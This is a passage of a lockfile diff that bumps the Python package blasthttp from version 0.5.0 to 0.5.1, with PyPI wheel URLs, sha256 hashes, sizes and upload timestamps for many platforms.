"https://files.pythonhosted.org/packages/fe/12/6dc4f9ece3979ed206d90583a5322a859334e0a943dbdb7e10445a049cb5/blasthttp-0.5.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:b67a7af3b1ad3b5f655da8d171b7114ebb595490f39305b85008bfac90a26998", size = 4777028, upload-time = "2026-05-07T14:41:57.35Z" }, - { url = "https://files.pythonhosted.org/packages/81/77/951975b1f01d26ae38baab4defb3ec45f89372c4163f258c48a3000a595b/blasthttp-0.5.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:0fc4ba3e8a58083fcab784e407ae65b7ffdce1db72e6e48bbea068f256bf8df6", size = 4744601, upload-time = "2026-05-07T14:42:05.735Z" }, - { url = "https://files.pythonhosted.org/packages/31/e6/5255d4105a549759400db2b15ec4323f95d624f92428a13c52c149ca3135/blasthttp-0.5.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:013f8f9a93cb7535ffc660bbbb1c20326deb029664cf08213e40e7654d542619", size = 4752412, upload-time = "2026-05-07T14:40:56.009Z" }, - { url = "https://files.pythonhosted.org/packages/79/94/adb8c0e00227bb5b5ed682e85861cad8a65543ed3fc91c124107dab3d211/blasthttp-0.5.0-cp312-cp312-manylinux_2_28_armv7l.whl", hash = "sha256:2adaf07d8d9f6ce4838b98d75209316910903c9e99379b8f798ad37c063d5510", size = 4055666, upload-time = "2026-05-07T14:41:04.528Z" }, - { url = "https://files.pythonhosted.org/packages/bb/0f/e6dbae554b77bc116a61fadca6fccf0286723e958ef2dc08ec680eaf0af5/blasthttp-0.5.0-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:0d56edcbfbaad866f97f4df5882020d653ba952933807ebb5bb50a26c45d87a4", size = 4646242, upload-time = "2026-05-07T14:41:27.464Z" }, - { url = "https://files.pythonhosted.org/packages/b5/b8/44f605e28c8675292681b74cf48eae5d9a0de26952bdff143c70107c4649/blasthttp-0.5.0-cp312-cp312-manylinux_2_28_ppc64le.whl", hash = "sha256:d2ce347d343b47cc7d06dca2ee85bfa40aa9bfba26f59fc9d12e561717a5797e", size = 4652092, upload-time = "2026-05-07T14:41:12.38Z" }, - { url = "https://files.pythonhosted.org/packages/9a/4d/0d4d0f6f5a742e94a394f4f57e490ef241c69d2179471781d29d04975fa5/blasthttp-0.5.0-cp312-cp312-manylinux_2_28_s390x.whl", hash = "sha256:b6b763bc3658c9b079e116a3d9a4c0a4043cec5ac93aa03e09fe7b3b7dd9e00c", size = 4271334, upload-time = "2026-05-07T14:41:19.959Z" }, - { url = "https://files.pythonhosted.org/packages/34/63/8e7c89a53e6fa1b459556960e2e2ab184d84faed3ee7774afc1bc5f7e597/blasthttp-0.5.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:147269fe44956b50ec19300ecb6f4f680044202b60c52edd2d13921b7a2833db", size = 4399938, upload-time = "2026-05-07T14:41:35.154Z" }, - { url = "https://files.pythonhosted.org/packages/c5/59/fadde1a5cf3b348881a876ebd297e65378270e8c2009e7b3b15d70f297f0/blasthttp-0.5.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:45610e38452c5546a4522b63dfcf5322f08317f8afd1bd72dd3f5c36d455f788", size = 5045120, upload-time = "2026-05-07T14:41:43.305Z" }, - { url = "https://files.pythonhosted.org/packages/24/6a/6b66e9fc95829eec935ef8b9d0872ba875adc9b3fb53d3574a89b0dc1fd2/blasthttp-0.5.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:a1a0958266464b492f0427951ddfaca66890a24ccf9d47bd128b59e53fc6f30f", size = 4354945, upload-time = "2026-05-07T14:41:51.165Z" }, - { url = "https://files.pythonhosted.org/packages/ca/dd/41ef4eaab128483255ab6eb095442c13a9a08c5c9705e3c5278502e69e3c/blasthttp-0.5.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:1cfd8f26da192f6ef0613cf22383b64d37509722c97326eb47d971103a580477", size = 4773617, upload-time = "2026-05-07T14:41:58.942Z" }, - { url = "https://files.pythonhosted.org/packages/ba/21/ba9f7e29626234f5dcd437a2a735cc44d5c65263335daaaec3023b7052ec/blasthttp-0.5.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:0c8a44698c4d1fce6581a07644f95d78fdd6aadfb0f4649073d8c6803e032223", size = 4740664, upload-time = "2026-05-07T14:42:07.281Z" }, - { url = "https://files.pythonhosted.org/packages/0e/2c/092dd3e1c66b899771145f2cb124ee9473930183a7ef42fb68a1e7f06f5e/blasthttp-0.5.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:9b3f13866ed88348b26ea8e4f93d0f114c743445424b9f20f0f7eaa48930d5d8", size = 4750921, upload-time = "2026-05-07T14:40:57.764Z" }, - { url = "https://files.pythonhosted.org/packages/45/5f/81e03fd9e5b0e1e26a8b88787be83e68eb1c00a5d48363e4ee84640d9014/blasthttp-0.5.0-cp313-cp313-manylinux_2_28_armv7l.whl", hash = "sha256:cf753f5278251264e66d4174cbe68156a5d015d462453de75f8ed29f1ed8e8f7", size = 4055914, upload-time = "2026-05-07T14:41:06.078Z" }, - { url = "https://files.pythonhosted.org/packages/b1/03/5aedfc03b1c780c82baf8cfe3ef2de4309618581e78ff68fe1b9e032f0ad/blasthttp-0.5.0-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:44b258d9521e00c4105b46215aaea489ab64b359c390e5ffea73e8fac11b56fc", size = 4647901, upload-time = "2026-05-07T14:41:29.123Z" }, - { url = "https://files.pythonhosted.org/packages/38/5a/4010589cbe0489992bece4db26883ff93ed3b1dafe75fba4c97cad486c30/blasthttp-0.5.0-cp313-cp313-manylinux_2_28_ppc64le.whl", hash = "sha256:1ffa980ed5ca36b3ecd3d906b9c9b3560bbddab129ab3e26cb2765947b91c9b8", size = 4658055, upload-time = "2026-05-07T14:41:13.899Z" }, - { url = "https://files.pythonhosted.org/packages/34/66/8f476c8dfcb56460bdac41062775c8f6a5d9e2ead2b984475b0db1f560cc/blasthttp-0.5.0-cp313-cp313-manylinux_2_28_s390x.whl", hash = "sha256:1eec3d563d6e27bf9a2587b68974515003dac67247cf1d9d5f56fbdcd277099d", size = 4269677, upload-time = "2026-05-07T14:41:21.461Z" }, - { url = "https://files.pythonhosted.org/packages/c0/b1/b2c5e8fb0e96fa57f95fcb45867ea107e3ea22e13386d294f509acd7259b/blasthttp-0.5.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:0a75406dc26c211fd8ea1f8f7b4b8ba1171939e304530bdfe60e600ecdc21f80", size = 4399954, upload-time = "2026-05-07T14:41:37.064Z" }, - { url = "https://files.pythonhosted.org/packages/a9/45/e16e4c014925f15a48d79aae945d2cedec2e96b0c816980404791f3a9fc1/blasthttp-0.5.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:e4d5ef6fcd4981542754a949db2b9f9ac4f201c48fed236428be2da1757d5648", size = 5044612, upload-time = "2026-05-07T14:41:44.661Z" }, - { url = "https://files.pythonhosted.org/packages/9b/b3/0fb06faf129c1a50ac77799d9675007fa75c3087552742d647ce1fd0b692/blasthttp-0.5.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:9a8690cf693842366907a98abd1d2eed22852edb71bb44c5fcd1e7ab8ddf4b9e", size = 4354605, upload-time = "2026-05-07T14:41:52.625Z" }, - { url = "https://files.pythonhosted.org/packages/8a/1f/ef6dec37ec76fd0c340dc6a1631b85e5492584710e97e4bad6e3c2085213/blasthttp-0.5.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:8c855fa39d11fee5bb36ce31c635f3ce8e54a3060de9589f947488508d53b629", size = 4775464, upload-time = "2026-05-07T14:42:00.719Z" }, - { url = "https://files.pythonhosted.org/packages/e6/62/5d523cca46369c46c3590ac2fe7b645b2888d7efe136cdab91fadecab1dd/blasthttp-0.5.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:d41f159b014f7bac88dda327981c8a70e2485aa37161b7388ade37fd7230ee3a", size = 4740608, upload-time = "2026-05-07T14:42:09.307Z" }, - { url = "https://files.pythonhosted.org/packages/7c/97/24fc0ac9ae894e375d06d99229d480232108dc42e6c345ca554e06b93b3a/blasthttp-0.5.0-cp314-cp314-manylinux_2_28_aarch64.whl", hash = "sha256:1747ae6997d93bc01274a692f7367d6962ad45fe14f1b0e0a7a76d1ca6fa36dc", size = 4751694, upload-time = "2026-05-07T14:40:59.42Z" }, - { url = "https://files.pythonhosted.org/packages/c1/6b/bdd4fdfa510dc9cfad6151a92e0e520c0c81204c611b8f2a76d6ef40afbd/blasthttp-0.5.0-cp314-cp314-manylinux_2_28_armv7l.whl", hash = "sha256:600fee97d5643db032343fdacda09ef07bfd41c2d2a2a9f7c3a3ea51d82edfc8", size = 4051437, upload-time = "2026-05-07T14:41:07.558Z" }, - { url = "https://files.pythonhosted.org/packages/ab/ff/2810c04b792645d082724c3d805fdcd278b0b4b2baeadc3b44b518d93c21/blasthttp-0.5.0-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:5f8ad9c725dc925cb06e4640937c64763be4c7f22184a45ca672db3f6200c842", size = 4646361, upload-time = "2026-05-07T14:41:30.815Z" }, - { url = "https://files.pythonhosted.org/packages/19/bc/89ca487b6e22126eee064060f681c9e35c154c106a9553f5913f732c43ad/blasthttp-0.5.0-cp314-cp314-manylinux_2_28_ppc64le.whl", hash = "sha256:13295664e23c5139d742626552e3cd20608bc277490b6dacaa50a144b0dad102", size = 4650662, upload-time = "2026-05-07T14:41:15.275Z" }, - { url = "https://files.pythonhosted.org/packages/39/fc/a1e2230792b723ea7ac93d7905e545662d68093d69aca81c406c18897fd0/blasthttp-0.5.0-cp314-cp314-manylinux_2_28_s390x.whl", hash = "sha256:e77ff2eb55dbad58ea67bf320f43be7440f4e4423778f552fb0d89917d5a397b", size = 4269035, upload-time = "2026-05-07T14:41:22.853Z" }, - { url = "https://files.pythonhosted.org/packages/57/27/2eafb92b7522cfd0fb1e87447cc47df67e6b89b36df2257dc81e8a8c008a/blasthttp-0.5.0-cp314-cp314-manylinux_2_28_x86_64.whl", hash = "sha256:9d0a52e6579729500c353c129165faa905720439804d0a7bf8ba50ea95740b36", size = 4400544, upload-time = "2026-05-07T14:41:38.376Z" }, - { url = "https://files.pythonhosted.org/packages/47/ab/5cdab703f4fe32af3025e78cd9a8008ae44214edf945aeab234e7e1a99a4/blasthttp-0.5.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:9d3f89a2d019e18fe8d51083a0159202da84572b2b04aa561c8167a50bdad709", size = 5046132, upload-time = "2026-05-07T14:41:46.518Z" }, - { url = "https://files.pythonhosted.org/packages/39/f8/1314f2067c07e3d0ba4b52f6dfa6cdce10be494e002ffce02ba07ee6c95d/blasthttp-0.5.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:0b1c5d2d2d37b45022899013b9aba0951689cfef26dc75dc4ef018b9ac55ad5b", size = 4352439, upload-time = "2026-05-07T14:41:54.119Z" }, - { url = "https://files.pythonhosted.org/packages/17/ae/32682550b4e660b9b387f966da36c44fca1383e48f470e40121e963dcbbe/blasthttp-0.5.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:ae66cacf610843d263a54212cc9dda846bddc6fc7a7501e1b174be4e30f514cb", size = 4774423, upload-time = "2026-05-07T14:42:02.373Z" }, - { url = "https://files.pythonhosted.org/packages/d3/a7/4b1c8b452927d46e3d54770e262be07a67206370fcd5605fd601c37e4bfe/blasthttp-0.5.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:aa4c15256f693b5fefe9b5442a183e5979b745b9fb9807d203a3b92fc6aa32a6", size = 4741833, upload-time = "2026-05-07T14:42:10.96Z" }, +version = "0.5.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f3/87/743522a80b4638f0bd62d55d5e650c1397b311916c24d7581c00b1f2b7db/blasthttp-0.5.1.tar.gz", hash = "sha256:5aa7004eb96cc7be9677bf70641e142c000dd1cd16f63783d1eeec27ac165572", size = 137955, upload-time = "2026-05-07T18:29:12.905Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/50/2a/63176160b883a0e54c3083f434fe66673381352b0fd3ea775065ae53f1c5/blasthttp-0.5.1-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:95418e10c61bb8a34c75fc22ff841dc7ca07dfe28ab242db9eef408a98002abb", size = 4755999, upload-time = "2026-05-07T18:27:33.187Z" }, + { url = "https://files.pythonhosted.org/packages/9d/17/5af611bb6c37548c3de514ba74258db61cdde969991e52bb0c688a0785e0/blasthttp-0.5.1-cp310-cp310-manylinux_2_28_armv7l.whl", hash = "sha256:636281fec4a237c5f388957ea4f12bbf8f83f441390c5781653ee95fc9203d20", size = 4060750, upload-time = "2026-05-07T18:27:43.913Z" }, + { url = "https://files.pythonhosted.org/packages/57/17/6eb6d7c6b8ae201ef0276d2ec6c6ecc24973e0e2c61131cd83641c8b840d/blasthttp-0.5.1-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:782b58702c565254f3c04d6abd526b982c1c37f2e67b91e909e648db942a494a", size = 4650132, upload-time = "2026-05-07T18:28:13.893Z" }, + { url = "https://files.pythonhosted.org/packages/1c/e5/9f28983f6f3c3eeb8bd64e0a71b11e729909c69a5ff7fc6e181036e0bd79/blasthttp-0.5.1-cp310-cp310-manylinux_2_28_ppc64le.whl", hash = "sha256:fe61ff9488c1b5e861bdd34b05891a83b137ec15bb9dbf3299e550a8a02aabdf", size = 4662736, upload-time = "2026-05-07T18:27:53.704Z" }, + { url = "https://files.pythonhosted.org/packages/b7/33/221616e23c829ada6bada7aa7103afea8f93b905a98576cac17881150475/blasthttp-0.5.1-cp310-cp310-manylinux_2_28_s390x.whl", hash = "sha256:4068e53d2b7a99909ecbcb3d636439f8eecce2ef2c8605f63bba51848a97f85f", size = 4266449, upload-time = "2026-05-07T18:28:04.038Z" }, + { url = "https://files.pythonhosted.org/packages/3a/a6/addfad565f765d7c1ff78b16862e4698056de1ac046c87ea2e309ee45cd7/blasthttp-0.5.1-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:d9ff490b8dd7b7ecb8372308d08091cd0ef495dc67b3af1420b38174b9161946", size = 4403803, upload-time = "2026-05-07T18:28:23.814Z" }, + { url = "https://files.pythonhosted.org/packages/47/04/fb2d63d12d067767a1b0ba2c505e76b26cea62f07644b2c90d6f2b0f721d/blasthttp-0.5.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:94c216d0ec4726b07935944a1fa4c7a38042130c89d7cb892d0d79753b793325", size = 5046967, upload-time = "2026-05-07T18:28:33.161Z" }, + { url = "https://files.pythonhosted.org/packages/84/30/dbcd4d7617ba28da4f2fe8eccdbfdb5127857163d3c533dcab8546911c19/blasthttp-0.5.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:4af762a68e17516b912a21ea7639fb294f70c81033a86fba927294eae37cc18a", size = 4364595, upload-time = "2026-05-07T18:28:43.383Z" }, + { url = "https://files.pythonhosted.org/packages/3e/8c/c4625cf90cc8b3aa6dc8cd06294133b415ce134d47138e2deacad3ac16a2/blasthttp-0.5.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:1d3f26b8a43b3c2cf99dab640cbc8abd6257199c72e3f302959bd9ad27feca40", size = 4782547, upload-time = "2026-05-07T18:28:54.075Z" }, + { url = "https://files.pythonhosted.org/packages/a4/b8/7461bc2396f501b7c8273285a28134200fa1ac106e5faea0e4d6a984a0fc/blasthttp-0.5.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:38f2f573a3e3d6efaf83266e7ac5ee54b272287b74e9e539020f6b77bf9cb2a2", size = 4750218, upload-time = "2026-05-07T18:29:03.441Z" }, + { url = "https://files.pythonhosted.org/packages/34/88/1fc3e0a9fea99ab101eb57c31f639139d5eed7be032f4f2aa9370a65f76f/blasthttp-0.5.1-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:bcddfa279c301ae6ee0b2753389db896a7bbc08d012f41e2c9ef97814e73c3f6", size = 4752484, upload-time = "2026-05-07T18:27:35.287Z" }, + { url = "https://files.pythonhosted.org/packages/07/7e/5b75a6d28fcc8fc5c7076960909ff4cbdd075724e1f980965c00f7973832/blasthttp-0.5.1-cp311-cp311-manylinux_2_28_armv7l.whl", hash = "sha256:b916982c34aed04e0e6ba13832c7b44ee924e989751f9bb988728f53ea7c6e42", size = 4057857, upload-time = "2026-05-07T18:27:45.652Z" }, + { url = "https://files.pythonhosted.org/packages/30/ad/9c566ea8a176f404d7f715b15c04fdd9ce53f7986342c924cfca7b7f92e0/blasthttp-0.5.1-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:48cb954a104c2a84f3ea8fecd819ce2c2cff797b51cfb24ac00286c5e1ecb150", size = 4645668, upload-time = "2026-05-07T18:28:15.714Z" }, + { url = "https://files.pythonhosted.org/packages/5d/ac/c8c9e622e0fcf9a8843a1f66cbb1467e3b6ad789051a7ce2f2ebade1fde0/blasthttp-0.5.1-cp311-cp311-manylinux_2_28_ppc64le.whl", hash = "sha256:b256681548199fb0a7f9bf317592a394b927d5769602dd4b206ee59bfde25010", size = 4658128, upload-time = "2026-05-07T18:27:55.922Z" }, + { url = "https://files.pythonhosted.org/packages/5c/ce/e4ea0b8a068c5e86cd461473066a0e8e3e6c4556a96edf58d5a7e9511975/blasthttp-0.5.1-cp311-cp311-manylinux_2_28_s390x.whl", hash = "sha256:89b6b5c3e5603b34a570db331d5fba0d3651e347d3ff87ecae9e7dc59a296a0b", size = 4264160, upload-time = "2026-05-07T18:28:06.032Z" }, + { url = "https://files.pythonhosted.org/packages/a4/dc/01fd77bdd401d4375e6407a06e1e2c7b6860e8813c67ab9977f016663763/blasthttp-0.5.1-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:257520128a4009f577b63de72b6bee47e37f06b669a503f74d7de868fc04c186", size = 4402098, upload-time = "2026-05-07T18:28:25.626Z" }, + { url = "https://files.pythonhosted.org/packages/96/33/103f121023609d4b75123e019cdcfc2aee3ebb87518db93c2fcb4de6688c/blasthttp-0.5.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:b70cc21ffb61a8bef833ec4e94fe82daef7aa449cf5638bb44987d6b5b8145e1", size = 5044456, upload-time = "2026-05-07T18:28:35.141Z" }, + { url = "https://files.pythonhosted.org/packages/78/2f/9f4c93d6ec8ecd75e5218cbf9b8fbe5addb9e031f66806045462366180cd/blasthttp-0.5.1-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:89cc27ac11495ad123f31ebe4c9c750a54782bf225375305c0a25637a4b5a40e", size = 4358153, upload-time = "2026-05-07T18:28:45.15Z" }, + { url = "https://files.pythonhosted.org/packages/1a/a0/4b5b9ba163d792f87ce1dc15180c4d49b8ccd32bca9689d0c2dfa32cef5b/blasthttp-0.5.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:a0f311998dfacdbb6cc540929471edbad7e943ba03b0721338fc187b850aa870", size = 4777624, upload-time = "2026-05-07T18:28:55.888Z" }, + { url = "https://files.pythonhosted.org/packages/63/76/d9b538467b90b0e04a50db8193717ce414e40d78250ae5c0ff6e9562cbdd/blasthttp-0.5.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:20c7a2086c0bae72ad7c12bdbe04f75258cbb49dc036eaf7c00834a625e0d0ee", size = 4746331, upload-time = "2026-05-07T18:29:05.591Z" }, + { url = "https://files.pythonhosted.org/packages/df/d3/8829983cb5be11320f0913877a49771827ab3c0b23a75b49912af96e89be/blasthttp-0.5.1-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:e220270707d5eeab95adc0514d7bc6615b80c7d2e4af6f2236ee731ca3c90f88", size = 4753416, upload-time = "2026-05-07T18:27:37.3Z" }, + { url = "https://files.pythonhosted.org/packages/11/4c/3dde5c943fefe6463fe0056f2e8fae9f4cedbee664f28cb882cb9060a88c/blasthttp-0.5.1-cp312-cp312-manylinux_2_28_armv7l.whl", hash = "sha256:8fc60f3edf95766cf715d26d0ce2a87a10d802431324047964a478484bcbbf39", size = 4056173, upload-time = "2026-05-07T18:27:47.611Z" }, + { url = "https://files.pythonhosted.org/packages/8d/d0/adb42760fd3c634186a21c2c3ab016d098187b0fa7867df804a593b118e9/blasthttp-0.5.1-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:503a5324c746db7522665ec14fa6b2b00fa32e854a526c42a80719032fde1195", size = 4646538, upload-time = "2026-05-07T18:28:17.582Z" }, + { url = "https://files.pythonhosted.org/packages/a8/ec/2ca18456e012b545b5fec48ed1234d3fedf9cf9c89efec7e9848f4e06472/blasthttp-0.5.1-cp312-cp312-manylinux_2_28_ppc64le.whl", hash = "sha256:f141807b927bee9c9e6fff078027d625ba7d375d380bb79de3a69b7cd32370c1", size = 4650786, upload-time = "2026-05-07T18:27:57.896Z" }, + { url = "https://files.pythonhosted.org/packages/73/a8/6d8e19ebafbca3467b1d8655e3144d2cdf97dcf524f0029002b0e5666b10/blasthttp-0.5.1-cp312-cp312-manylinux_2_28_s390x.whl", hash = "sha256:6e116205aea16b8a772dacc9b28cb49a0e3ff6de01ed5f987c4381cb4ea2373d", size = 4271821, upload-time = "2026-05-07T18:28:07.918Z" }, + { url = "https://files.pythonhosted.org/packages/aa/4d/e9638afa76dadb50e6204d8ba19493752e4257a4e54396082abba457baa6/blasthttp-0.5.1-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:3190bc1605af2a3e9bfce73825a6c2892548173376c3cfd66fdfbc46349fd295", size = 4400583, upload-time = "2026-05-07T18:28:27.438Z" }, + { url = "https://files.pythonhosted.org/packages/fd/d2/8b5821db29f000a24ff83fa02c937a89f95a990ed85abfbf65d73163bf41/blasthttp-0.5.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:34fb35ff5c755d70ab195f6d1bf6b19f82ec1c9d45c264ea0688ba6e1d7b187f", size = 5045394, upload-time = "2026-05-07T18:28:37.056Z" }, + { url = "https://files.pythonhosted.org/packages/69/a0/b330f4cd0b422199a6dc8d2d46e18f971df0542d34ce59758dbe323f4f94/blasthttp-0.5.1-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:77c8a11a6d2101ef3a9b3ddb1d6dc35188967cec384566be6e375940221ad565", size = 4354081, upload-time = "2026-05-07T18:28:48.069Z" }, + { url = "https://files.pythonhosted.org/packages/26/8d/408beb779ee330f0fcf38016656034ddb943d620c8fe7c5c2aaed98c4096/blasthttp-0.5.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:5e0603e612ae91579cf437ed9b2014451cfac73f45bf0d21c399197238944bb9", size = 4773321, upload-time = "2026-05-07T18:28:57.629Z" }, + { url = "https://files.pythonhosted.org/packages/8c/c0/3b1cde8fb0b93c7fa493a399d9babccc2117a06423955872e716eb748bb0/blasthttp-0.5.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:7b7ced43ddcf436a85cc2c33c7e7895d324fc6b708a6098e122d5246bc5c2a7c", size = 4740837, upload-time = "2026-05-07T18:29:07.454Z" }, + { url = "https://files.pythonhosted.org/packages/f2/6c/fa8bfa5d1932fac65802904cd9630a8863593f884fe0e0c4924e54ef3402/blasthttp-0.5.1-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:45d01055a1473b22dd460881f07ad4dd9fb64cd8044c391475540c761a490fda", size = 4750786, upload-time = "2026-05-07T18:27:39.329Z" }, + { url = "https://files.pythonhosted.org/packages/fb/1e/06d57776db6ae8078acc51aa0e71b59c4316c1a2ec62c4c34418aa54f073/blasthttp-0.5.1-cp313-cp313-manylinux_2_28_armv7l.whl", hash = "sha256:2e9951422b43938059d87ea17594f81a2fe3be932e53c63a9670cd64465c8c7e", size = 4055319, upload-time = "2026-05-07T18:27:49.413Z" }, + { url = "https://files.pythonhosted.org/packages/9c/a6/9c3c09b6d214ed6b1286156b3209ec39770fc25879f0911c032fdb92de17/blasthttp-0.5.1-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:9582a8ba5f2dd0fb140c6e2a8cbdee0a9a42171636fa4963e40bdc9370db8592", size = 4650611, upload-time = "2026-05-07T18:28:19.967Z" }, + { url = "https://files.pythonhosted.org/packages/e7/3b/4cadba4c58fe9adcba405da6ec882a42ce76fe2a158c3d61c49f0a7a75bf/blasthttp-0.5.1-cp313-cp313-manylinux_2_28_ppc64le.whl", hash = "sha256:1f014f2a540f02988df63db363dd59ea0a755becdc85e7a4e89c364e273532c3", size = 4656848, upload-time = "2026-05-07T18:27:59.929Z" }, + { url = "https://files.pythonhosted.org/packages/fa/52/eeea501e966c27b0f7931ff1fa81efdefa877dacbe273a18dfd93940faed/blasthttp-0.5.1-cp313-cp313-manylinux_2_28_s390x.whl", hash = "sha256:5b36ed6a395e70ec5bd0b9d751f2b3f27f2ca47e5d444cb2d0bd831f0c0f2089", size = 4269300, upload-time = "2026-05-07T18:28:09.993Z" }, + { url = "https://files.pythonhosted.org/packages/71/a6/ef585df6a3704e1c0adc42fd6d1fe9c5de1e3d7b4faf940268ea036c6d77/blasthttp-0.5.1-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:e3f189ccf8b96b83ad786ae3130a5f792edf8947b58875a88d556c7150b49bf1", size = 4398860, upload-time = "2026-05-07T18:28:29.363Z" }, + { url = "https://files.pythonhosted.org/packages/03/67/cdedc3ee88728486f2214bf8784e71f96d5c05426c58988002b9922e2813/blasthttp-0.5.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:8cc079bd171452bab6e639a20ac9d946c2145e94fccde8750e9516ac988527ef", size = 5042568, upload-time = "2026-05-07T18:28:39.091Z" }, + { url = "https://files.pythonhosted.org/packages/eb/9c/bc0d90bb71a2b1b86bee746ce083e06e70d35e91774d15254c959ab21ecf/blasthttp-0.5.1-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:792bb93ae83211ce6effd969b318883e6df141ee32642c5659cbbf7521357402", size = 4353688, upload-time = "2026-05-07T18:28:50.014Z" }, + { url = "https://files.pythonhosted.org/packages/c6/6a/e0cf6f11b35542cf6a621b17630071c6d384eac021712a2792c104c1a700/blasthttp-0.5.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:dd2b8a4f7da0a1f01b9b7f8285b7206097b0fdec28e66fd0f227cab382434b87", size = 4776869, upload-time = "2026-05-07T18:28:59.56Z" }, + { url = "https://files.pythonhosted.org/packages/f5/b1/767ef4b4449c144844dbdabae8c8c3543566bab86a8988e7bf7605d8f6b9/blasthttp-0.5.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:31d3fdce0dec44cf90e1e7c42dea28bc5a608d4f0ec9957d6daae1d17a85a34e", size = 4740866, upload-time = "2026-05-07T18:29:09.474Z" }, + { url = "https://files.pythonhosted.org/packages/54/b8/55773b2c131d62ccd0da80df1d14c89abe2400e48d14965f64d5bc24dd67/blasthttp-0.5.1-cp314-cp314-manylinux_2_28_aarch64.whl", hash = "sha256:7e63602c657d991a04c0f9cd07bf79e07b3653b2f8d463677fc3b400100e89a1", size = 4751678, upload-time = "2026-05-07T18:27:41.883Z" }, + { url = "https://files.pythonhosted.org/packages/fc/04/56645c45dbdbe5776d26c752fe5a6c4b78a79c257ee72d6800e7c0a7517e/blasthttp-0.5.1-cp314-cp314-manylinux_2_28_armv7l.whl", hash = "sha256:7830256ad0f7306fa6c124bcf151a60f1be3d052f281c75687d3c4c31483505b", size = 4053899, upload-time = "2026-05-07T18:27:51.345Z" }, + { url = "https://files.pythonhosted.org/packages/bd/98/a9cd12d8f511da6f88c31da2a620e65704156fda5b081dc2e32259b31db4/blasthttp-0.5.1-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:99b2f6005a32f9bac360843bf56ccb3670e3a514d12089484161eb8f4719476b", size = 4646514, upload-time = "2026-05-07T18:28:21.852Z" }, + { url = "https://files.pythonhosted.org/packages/d5/f6/ab280c9b32e2cc69a9985a52705920dc94d45c7b4fc864e040b38d07d0b7/blasthttp-0.5.1-cp314-cp314-manylinux_2_28_ppc64le.whl", hash = "sha256:3e8482467a5f3eb8ebc2f126962469c2879527a2e12f19d3c98c1a08bcb4e52a", size = 4650094, upload-time = "2026-05-07T18:28:01.841Z" }, + { url = "https://files.pythonhosted.org/packages/b3/45/613a32c54607340c607ffd39f902fd86aa6fe51be3e6a2df9ef54639251a/blasthttp-0.5.1-cp314-cp314-manylinux_2_28_s390x.whl", hash = "sha256:caa19201bacf87a85baf66e0d5d4c50c99be6d04794c6319585a93802d79b407", size = 4268936, upload-time = "2026-05-07T18:28:12.078Z" }, + { url = "https://files.pythonhosted.org/packages/a0/3e/e5283d9f474aa781031b7998915aa5a06ff06c3862b57ba3a5a414df07b7/blasthttp-0.5.1-cp314-cp314-manylinux_2_28_x86_64.whl", hash = "sha256:3846854fb99b71fa47b34aedd81100fc6c2c6772fc0d39b9fb36f05538d17262", size = 4401565, upload-time = "2026-05-07T18:28:31.151Z" }, + { url = "https://files.pythonhosted.org/packages/80/94/778114a7b4f1dd55d098f07a6525dfaedb1c26668d50a99b10edae7a8b65/blasthttp-0.5.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:6da8900885e8136de8ddee17fc7854cee2483cebce49f356e99dcaf59e8dc7c7", size = 5044853, upload-time = "2026-05-07T18:28:41.058Z" }, + { url = 